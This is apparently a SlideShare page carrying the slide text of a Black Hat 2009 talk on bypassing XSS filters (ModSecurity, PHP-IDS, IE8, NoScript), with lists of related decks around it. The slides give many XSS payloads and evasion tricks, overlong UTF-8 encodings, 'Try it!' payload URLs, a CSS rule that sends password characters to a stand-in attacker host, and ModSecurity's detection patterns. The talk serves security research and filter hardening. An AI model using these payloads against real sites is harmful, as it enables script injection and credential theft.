Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5Shreeraj Shah
 
curl and new technologies
curl and new technologiescurl and new technologies
curl and new technologiesDaniel Stenberg
 
Owasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionOwasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionBart Leppens
 
{{more}} Kibana4
{{more}} Kibana4{{more}} Kibana4
{{more}} Kibana4琛琳 饶
 
Final lfh presentation (3)
Final lfh presentation (3)Final lfh presentation (3)
Final lfh presentation (3)__x86
 
How to-catch-a-chameleon-steven seeley-ruxcon-2012
How to-catch-a-chameleon-steven seeley-ruxcon-2012How to-catch-a-chameleon-steven seeley-ruxcon-2012
How to-catch-a-chameleon-steven seeley-ruxcon-2012_mr_me
 
Apache安装配置mod security
Apache安装配置mod securityApache安装配置mod security
Apache安装配置mod securityHuang Toby
 
D2 t2 steven seeley - ghost in the windows 7 allocator
D2 t2   steven seeley - ghost in the windows 7 allocatorD2 t2   steven seeley - ghost in the windows 7 allocator
D2 t2 steven seeley - ghost in the windows 7 allocator_mr_me
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseNoaman Aziz
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against JavaMoabi.com
 
How Safe is your Link ?
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?Peter Hlavaty
 
Cross Domain Hijacking - File Upload Vulnerability
Cross Domain Hijacking - File Upload VulnerabilityCross Domain Hijacking - File Upload Vulnerability
Cross Domain Hijacking - File Upload VulnerabilityRonan Dunne, CEH, SSCP
 
Methods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngMethods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngDmitry Evteev
 

Viewers also liked (20)

The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
libinjection: from SQLi to XSS  by Nick Galbreath
libinjection: from SQLi to XSS  by Nick Galbreathlibinjection: from SQLi to XSS  by Nick Galbreath
libinjection: from SQLi to XSS  by Nick Galbreath
 
How To Detect Xss
How To Detect XssHow To Detect Xss
How To Detect Xss
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5
 
curl and new technologies
curl and new technologiescurl and new technologies
curl and new technologies
 
Introduction HTTP via cURL
Introduction HTTP via cURLIntroduction HTTP via cURL
Introduction HTTP via cURL
 
Owasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionOwasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF Session
 
{{more}} Kibana4
{{more}} Kibana4{{more}} Kibana4
{{more}} Kibana4
 
Final lfh presentation (3)
Final lfh presentation (3)Final lfh presentation (3)
Final lfh presentation (3)
 
How to-catch-a-chameleon-steven seeley-ruxcon-2012
How to-catch-a-chameleon-steven seeley-ruxcon-2012How to-catch-a-chameleon-steven seeley-ruxcon-2012
How to-catch-a-chameleon-steven seeley-ruxcon-2012
 
Apache安装配置mod security
Apache安装配置mod securityApache安装配置mod security
Apache安装配置mod security
 
D2 t2 steven seeley - ghost in the windows 7 allocator
D2 t2   steven seeley - ghost in the windows 7 allocatorD2 t2   steven seeley - ghost in the windows 7 allocator
D2 t2 steven seeley - ghost in the windows 7 allocator
 
File upload vulnerabilities & mitigation
File upload vulnerabilities & mitigationFile upload vulnerabilities & mitigation
File upload vulnerabilities & mitigation
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java
 
How Safe is your Link ?
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?
 
Cross Domain Hijacking - File Upload Vulnerability
Cross Domain Hijacking - File Upload VulnerabilityCross Domain Hijacking - File Upload Vulnerability
Cross Domain Hijacking - File Upload Vulnerability
 
Methods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngMethods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall Eng
 

Similar to 주로사용되는 Xss필터와 이를 공격하는 방법

EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Event-driven IO server-side JavaScript environment based on V8 Engine
Event-driven IO server-side JavaScript environment based on V8 EngineEvent-driven IO server-side JavaScript environment based on V8 Engine
Event-driven IO server-side JavaScript environment based on V8 EngineRicardo Silva
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAsjohnwilander
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)johnwilander
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceSaumil Shah
 
OWASP PHPIDS talk slides
OWASP PHPIDS talk slidesOWASP PHPIDS talk slides
OWASP PHPIDS talk slidesguestd34230
 
Slides
SlidesSlides
Slidesvti
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentalsRajiv Gupta
 
The Wondrous Curse of Interoperability
The Wondrous Curse of InteroperabilityThe Wondrous Curse of Interoperability
The Wondrous Curse of InteroperabilitySteve Loughran
 
Efficient Context-sensitive Output Escaping for Javascript Template Engines
Efficient Context-sensitive Output Escaping for Javascript Template EnginesEfficient Context-sensitive Output Escaping for Javascript Template Engines
Efficient Context-sensitive Output Escaping for Javascript Template Enginesadonatwork
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security ClassRich Helton
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
 
gdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxgdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxsandeshshahapur
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hoursnoopythesecuritydog
 
C#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalC#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalRich Helton
 

Similar to 주로사용되는 Xss필터와 이를 공격하는 방법 (20)

&lt;img src="xss.com">
&lt;img src="xss.com">&lt;img src="xss.com">
&lt;img src="xss.com">
 
Fav
FavFav
Fav
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Event-driven IO server-side JavaScript environment based on V8 Engine
Event-driven IO server-side JavaScript environment based on V8 EngineEvent-driven IO server-side JavaScript environment based on V8 Engine
Event-driven IO server-side JavaScript environment based on V8 Engine
 
Price of an Error
Price of an ErrorPrice of an Error
Price of an Error
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAs
 
Rails and security
Rails and securityRails and security
Rails and security
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surface
 
OWASP PHPIDS talk slides
OWASP PHPIDS talk slidesOWASP PHPIDS talk slides
OWASP PHPIDS talk slides
 
Slides
SlidesSlides
Slides
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentals
 
Web Application Defences
Web Application DefencesWeb Application Defences
Web Application Defences
 
The Wondrous Curse of Interoperability
The Wondrous Curse of InteroperabilityThe Wondrous Curse of Interoperability
The Wondrous Curse of Interoperability
 
Efficient Context-sensitive Output Escaping for Javascript Template Engines
Efficient Context-sensitive Output Escaping for Javascript Template EnginesEfficient Context-sensitive Output Escaping for Javascript Template Engines
Efficient Context-sensitive Output Escaping for Javascript Template Engines
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security Class
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
 
gdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxgdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptx
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hour
 
C#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalC#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 Final
 

Recently uploaded

Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 

Recently uploaded (20)

Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 

주로사용되는 Xss필터와 이를 공격하는 방법

  • 1. Our Favorite XSS Filters and how to Attack Them Most recent version of slides can be obtained from http://p42.us/favxss/
  • 3. About Us Eduardo Vela •  ttp://sirdarckcat.net/ h •  ttp://eaea.sirdarckcat.net/es/ h •  ttps://twitter.com/sirdarckcat h •  oved from .mx to .cn in Spring '09 M •  efinitely does not work for YU WAN MEI http:// d www.yuwanmei.com/
  • 4. About Us David Lindsay •  ttp://p42.us h •  ttp://www.cigital.com h •  ttps://twitter.com/thornmaker h •  efinitely does work for Cigital and recently moved to d Virginia so that his vote might actually mean something (as opposed to when he lived in Massachusetts and Utah)
  • 6. XSS Basics Attacker controls dynamic content in HTTP response, e.g. HTML, CSS, JavaScript, etc Classic examples: •  ><script>alert(0)</script> " •  ><img src="x:x" onerror="alert(0)"> " •  ><iframe src="javascript:alert(0)"> "
  • 7. XSS Basics – Helpful Resources •  The Cheat Sheet – http://ha.ckers.org/xss.html - Robert "RSnake" Hansen •  WASC Script Mapping Project - http:// projects.webappsec.org/f/ ScriptMapping_Release_26Nov2007.html - Romain Gaucher •  Obligatory (but still useful) OWASP reference - http://www.owasp.org/index.php/Cross- Site_Scripting •  tra.ckers.org ? any day now... bug rsnake and id :)
  • 8. Filter Basics •  Sits between browser and the server (or at one of the endpoints) •  We're not looking at sanitization methods/ functions •  Usually in detect-mode, not blocking mode. we make no distinction •  If attack focused, must cover all variations •  If vulnerability focused, must cover all variations
  • 9. Evasion Techniques hope you liked the milk
  • 10. HTML Tricks <img/src="mars.png"alt="mars"> •  No white space, can use / or nothing at all after quoted attributes
  • 11. HTML Tricks <object><param name="src" value= "javascript:alert(0)"></param></object> •  Round about way to assign the src paramater <object data="javascript:alert(0)"> •  Avoids "src" altogether •  Kudos to Alex K. (kuza55) for these
  • 12. HTML Tricks <isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image> •  Few know of isindex tag •  Kudos to Gareth Heyes for these
  • 13. HTML Tricks <img src=x:alert(alt) onerror=eval(src) alt=0> •  src = this.src, alt = this.alt
  • 14. XHTML Tricks <xss xmlns:x="http://www.w3.org/1999/xhtml"> <x:script>alert('xss');</x:script></xss> •  Content served as text/xml can execute JavaScript by using html and xhtml namespaces
  • 15. JavaScript Tricks location='javascript:alert(0)'; location=name; •  Short, no parenthesis for second •  Victim is not actually redirected anywhere so it can be transparent •  name = window.name •  Downside: attacker controlled website must be involved •  Downside: persistent XSS is demoted to reflective XSS
  • 16. JavaScript Tricks location=location.hash.slice(1); //avoid the # location=location.hash //FF only •  Payload comes after hash in URL •  Victim website does not see true payload •  No parenthesis in second one •  In FireFox, you can incorporate the hash symbol as a sharp variable, #0={} http://victim.com/? param=";location=location.hash)//#0={};alert(0)
  • 18. JavaScript Tricks eval(document.referrer.slice(10)); •  When attacker controls referrer page eval(0+location.string) //or 1+location.string •  Use a ternary operator along with fake GET paramaters, e.g. 0?fake1=1/ *&id=42&name=";eval(1+location.string);"&la ng=EN&fake2=*/:alert(0)
  • 19. JavaScript Tricks x setter=eval,x=1 •  Execute arbitrary code without quotes or parenthesis •  FF only •  This notation has been deprecated for years...
  • 20. JavaScript Tricks http://site.com/?p=";eval(unescape(location))//# %0Aalert(0) •  http: JavaScript label •  // single line comment •  %0A newline, needs to be unescaped
  • 21. JavaScript Tricks ""+{toString:alert} ""+{valueOf:alert} •  Executes function without using () or = •  Works in IE and Opera •  This shouldn't work...
  • 22. JavaScript Tricks (É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å +µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!'' +$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) •  hat, you don't see the alert(1) in there? w •  o alphanumeric characters, can execute arbitrary n JavaScript •  udos to Yosuke Hasegawa k
  • 24. VBScript Tricks eval+name • ust like eval(name) in JavaScript j
  • 25. Future Tricks? </a onmousemove="alert(1)"> •  TML5 will allow attributes in closing tags H
  • 26. Future Tricks? <style>input[name=password][value*=a]{ background:url('//attacker?log[]=a'); }</style> <iframe seamless src=”login.asp”/> •  TML5 includes "seamless" iframes H •  ould allow for pure css-based XSS attacks c
  • 27. Other Tricks data:text/html,<script>alert(0)</script> data:text/html;base64, PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg== •  supported by all modern browsers except IE
  • 28. Other Tricks ?injection=<script+&injection=>alert(1)></script> •  HPP - HTTP Paramater Pollution •  Variations of this can bypass most filters •  Underlying server/application must join parameters somehow (ASP, ASP.NET on IIS) •  Stefano di Paola and Luca Carettoni recently presented on HPP at OWASP EU09 - paper at http://www.owasp.org/images/b/ba/ AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 29. Other Tricks <script>var m=<html><a href=”//site”>link</a> </html></script> // XML inside JS •  ML inside JavaScript X <html><title>{alert('xss')}</title></html> •  avaScript inside XML evaluated as JavaScript J
  • 31. Bugs in Server implementations Unicode standard is aware of a lot of attacks, and they show them all in their own website to raise awareness of this issues, anyway implementations decide to ignore them all. We will show two examples, anyway almost all implementations of unicode are wrong in some way or another. This includes .NET, Python, Perl, and well, pretty much every APIs and plataforms out there. We will just scrape the surface of this problem, this will be presented more deeply in tomorrow's talk: Chris Weber: Unraveling Unicode
  • 32. Java Following the standards is for loosers, so java made their own called Modified Unicode, so they can be left alone on modifying their code every new unicode release (they forked on unicode 3.0, we are on unicode 5.2 beta now). So, the main problem in java are overlong unicode chars. Java do check that the char is a valid unicode sequence, and throws an exception if it's not. This means that it wont "eat" other bytes if they don't have the first bit on (making ineffective the possibility of eating quotes or similar ASCII chars). Anyway, overlong UTF chars are allowed (against unicode specification).
  • 33. Java / continued In general, Unicode is just a way of representing bytes, to let the parser know that the char information is stored in several bytes. So, it sets for example, if the char is 11 bits long, then to represent it, unicode states: 110x xxxx 10xx xxxx And you should replace x with the bit information. If the char is 16 bits long you use 3 bytes to represent it: 1110 xxxx 10xx xxxx 10xx xxxx
  • 34. Java / continued / 2 In Unicode 3.0 there was no restriction on what the xxx could represent, so an attacker could send a 0x3C char in several ways: As: 0x3C As: 0xC0 0xBC As: 0xE0 0x80 0xBC As: 0xF0 0x80 0x80 0xBC etc.. UTF-16 only supports 16 bits expansions (and so, Java).
  • 35. Java / continued / 3 But then Unicode realized that allowing so many representations of the same byte could be a security problem. So they disallowed overlong chars (aka, only the shortest-form of a byte was going to be valid unicode, and other would be considered invalid). Anyway, not everyone cared about this. Several implementations of UTF are ignoring this requirement of unicode 3.1, and so, allow dangerous information to travel in the byte stream.
  • 36. Java / continued / 4 Java is one of the affected implementations, in their code they don't do any check to see if the char could be represented with fewer bytes, meaning that any overlong representation of a byte will be accepted. Source is in: /jdk/src/java/io/DataInputStream.java %C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE Try it!
  • 37. PHP Their UTF to Latin implementation is in made in 20 lines. http://google.com/codesearch/p? sa=N&cd=3&ct=rc#qImjC_FcnLI/php6.0-200704121630/ext/ xml/xml.c&l=566 That's right, 18 chapters and a couple of hundred pages of specifications were implemented in 20 lines of code (genius). Genius-ness example: unsigned short c; //sizeof(c)==2bytes==16 bits ... if (c >= 0xf0) { /* four bytes encoded, 21 bits */ c = ((s[0]&7)<<18) | ((s[1]&63)<<12) | ((s[2]&63)<<6) | (s[3]&63); s += 4; pos -= 4; Who cares about 5 bytes overflow?
  • 38. PHP / continued That code is also broken, since they just validate if the first bits are on, but they dont check if the next bit is off, this means that: xFFxF0x80xBC will be transformed to "<". Note that the overflow in the first 5 bits allow us to put anything there. That's not valid unicode and no script or filter will detect this. Try it! http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%FF %F0%80%BCscript%FF%F0%80%BEalert%281%29%FF %F0%80%BC/script%FF%F0%80%BE
  • 39. PHP / continued / 2 This also means that they are only checking the prefix,and then consuming the 3 bytes that follow the char, meaning? This: <a href="xF7"> " onmouseover=alert(1) <b>hover me me!!!</b> </a> Will be: <a href="?" onmouseover=alert(1) <b>hover me me!!!</b> </a> Try it! http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%3Ca %20href=%22%F7%22%3E%20%22%20onmouseover=alert %281%29%20%3Cb%3Ehover%20me%20me!!!%3C/b%3E %20%3C/a%3E
  • 40. PHP / continued / 3 There are more bugs in PHP's unicode implementation not discussed here, specially on utf8_encode, and on a minor degree in iconv and mbstring. If you do charset conversion you should filter output after unicode decoding/encoding. The use of different charsets in DB, Framework, and HTML output will give you problems. Unicode is not the only problematic charset, others like: UTF-7, US-ASCII, BIG-9, etc... are also dangerous.
  • 41. Introducing The Filters ModSecurity PHP-IDS IE8 NoScript
  • 43. ModSecurity Advantages •  Open Source •  easy to install Apache module
  • 44. ModSecurity Disadvantages •  filters are ineffective •  Infrequently updated •  No support for different encodings
  • 45. ModSecurity Filters Most of the XSS filtering occurs in just one filter •  First phase – must match one of these keywords: @pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown onchange onkeyup activexobject expression onmouseup ecmascript onmouseover vbsc ript: <![cdata[ http: settimeout onabort shell: .innerhtml onmousedown onkeypres s asfunction: onclick .fromcharcode background-image: .cookie ondragdrop onblur x-javascript mocha: onfocus javascript: getparentfolder lowsrc onresize @import alert onselect script onmouseout onmousemove background application .execscript livescript: getspecialfolder vbscript iframe .addimport onunload createtextrange onload <input
  • 46. ModSecurity Filters •  Second phase – must match this regular expression: (?:b(?:(?:typebW*?b(?:textbW*?b (?:j(?:ava)?|ecma|vb)|applicationbW*?bx-(?:java|vb))script|c(?:opyparentfolde r|reatetextrange)|get(?:special|parent)folder|iframeb.{0,100}?bsrc)b|on(?:(?: mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s( ?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)bW*?=|abortb)|(?:l(?:ows rcbW*?b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)bW*?b(?:(?: java|vb)script|shell)|background-image|mocha):|s(?:(?:tylebW*=.*bexpressionb W*|ettimeoutbW*?)(|rcbW*?b(?:(?:java|vb)script|shell|http):)|a(?:ctivexob jectb|lertbW*?(|sfunction:))|<(?:(?:bodyb.*?b(?:backgroun|onloa)d|inputb. *?btypebW*?bimage)b| ?(?:(?:script|meta)b|iframe)|![cdata[)|(?:.(?:(?:e xecscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|@import)b)
